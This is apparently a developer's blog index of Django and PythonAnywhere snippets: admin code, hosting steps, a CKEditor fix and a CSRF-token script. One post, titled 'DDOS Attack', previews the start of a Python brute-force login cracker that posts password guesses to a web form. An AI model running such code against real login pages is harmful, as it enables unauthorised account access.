Posts

admin.py

# myapp/admin.py from django.utils.timezone import now from .models import UserProfile, UserReviews from django.utils import timezone from .models import Internship, Batch, AddTask, UserInternships, TaskSubmission from docx import Document from .Card.GenerateCard import write_text, write_qr import zipfile import pandas as pd import os from django.conf import settings from django.http import HttpResponse from django.contrib import admin, messages import qrcode from .models import UserInternships from PIL import Image from reportlab.lib.pagesizes import letter from reportlab.pdfgen import canvas import pypandoc import docx2pdf @admin.register(Internship) class InternshipAdmin(admin.ModelAdmin):     list_display = ('internship_id', 'domain', 'name', 'is_active')     search_fields = ('name', 'domain')     list_filter = ('is_active',) @admin.register(Batch) class BatchAdmin(admin.ModelAdmin):     list_display = ('internship', &

zip project on pythonanywhere.com

 zip -r myzipfile vishal

captcha

<script src="https://www.google.com/recaptcha/enterprise.js" async defer></script> <div class="g-recaptcha" data-sitekey="6LcCwyUpAAAAAFMwnliyJoaya0Iru3x-rvIVCjiG" data-action="LOGIN"></div>

CKEDITOR fixed for pythonanywhere.com | collecstatic

   It worked. after, Web tab, static url: /home/username/project/staticfiles/ bash: go to same directory where mange.py file is present python3.10 manage.py collectstatic pip install django-ckeditor  

csrf script

 <script type="text/javascript">         function getToken(name) {           var cookieValue = null;           if (document.cookie && document.cookie !== '') {             var cookies = document.cookie.split(';');             for (var i = 0; i < cookies.length; i++) {               var cookie = cookies[i].trim();               // Does this cookie string begin with the name we want?               if (cookie.substring(0, name.length + 1) === (name + '=')) {                 cookieValue = decodeURIComponent(cookie.substring(name.length + 1));                 break;               }             }           }           return cookieValue;         }         var csrftoken = getToken('csrftoken');            </script>

DDOS Attack

  import socket import random import time import threading import tkinter as tk from tkinter import ttk import requests import sys import asyncio import concurrent.futures # Global variable to track the cancel flag cancel_flag = False class BruteForceCracker: def __init__ ( self , url, username, error_message, update_status): self .url = url self .username = username self .error_message = error_message self .update_status = update_status banner = """ Checking the Server !! [+]█████████████████████████████████████████████████[+] """ for run in banner: sys.stdout.write(run) sys.stdout.flush() time.sleep( 0.02 ) def crack ( self , password): data_dict = { "LogInID" : self .username, "Password" : password, "Log In" : "submit" } re

How to host django website on pythonanywhere.com

Hosting Django project on pythonanywhere.com 1. Go to pythonanywhere.com and sign in. 2. authenticate your accounts using an email link (you will not be able to start projects unless you do this). 3. Navigate to the "web" tab in your PythonAnywhere account.  4. Create a new webapp.  5. Select "Django" as your framework. 6. Select the latest Python interpreter. 7. Set your project a name (it must be the same as your local host project). 8. Your Django project will be created by default. (Of course, this is not your project!) 9. Navigate to the project file tab and click the upload button to upload your project (zip file size 100MB). 10. Now, from the menu, open a console bash terminal and input > unzip YourProject.zip 11. open the given link and your project will be running on “yourprojectname.pythonanywhere.com” Notes: 1. Go to the web tab and press the reload button (you must reload every time you make significant changes or if you are using a low-end machine).